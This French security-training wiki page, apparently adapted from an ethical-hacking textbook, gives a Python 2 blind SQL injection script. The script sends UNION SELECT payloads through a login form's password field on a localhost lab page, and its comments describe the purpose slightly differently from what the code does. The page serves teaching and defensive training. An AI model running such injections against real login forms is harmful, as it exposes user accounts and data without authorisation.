Longueur.py

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Note : Cette page s'inspire d'exemples de l'ouvrage Sécurité informatique — Ethical Hacking (ACISSI, ENI Éditions). Reproduit à titre pédagogique ; droits réservés aux auteurs et à l'éditeur (art. L122-4 CPI).
Fiche express
Domaine Sécurité — injection SQL
Technique Blind SQL injection
Rôle Détermination du nombre de champs

Script Python de blind SQL injection déterminant le nombre et le nom des champs d'une requête. Fourni à titre pédagogique ; les valeurs sont des exemples de laboratoire.

#!/usr/bin/python
#-*- coding:utf-8 -*-

# script de blind injection
# détermination du nombre de champs
# détermination du nom des champs

import  httplib, urllib

site = "localhost"                  # adresse du site à attaquer
port = 80                    # port du site à attaquer
page = "/eni/identification.php"    # page à appeler

# recherche du nombre de champs dans la requête
longueur =1
for longueur in range(1,10):
   # formation de la chaine à injecter
   injection="' UNION SELECT nom, prenom FROM utilisateurs WHERE LENGTH(identifiant)="+str(longueur)+"#"
   # affiche l'injection
   print injection
   # encodage des champs du formulaire à envoyer
   parametres = urllib.urlencode({'identif':'koreth','mdp':injection,'ref':'identification','valider':'Valider'})
   # formation de l'entête
   headers = {"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}
   # connexion au serveur web
   conn = httplib.HTTPConnection(site+":"+str(port))
   # envoi du POST du formulaire
   conn.request("POST",page,parametres,headers)
   # lecture de la réponse
   rep = conn.getresponse()
   # lecture de la page de retour
   page_retour = rep.read()
   # détection de la position de la fin du commentaire
   pos_fincom=page_retour.find('formulaire -->')
   # détection de la position de la fin du formulaire
   pos_finform=page_retour.find('</body>')
   print page_retour[pos_fincom+15:pos_finform-1]

conn.close()

Voir aussi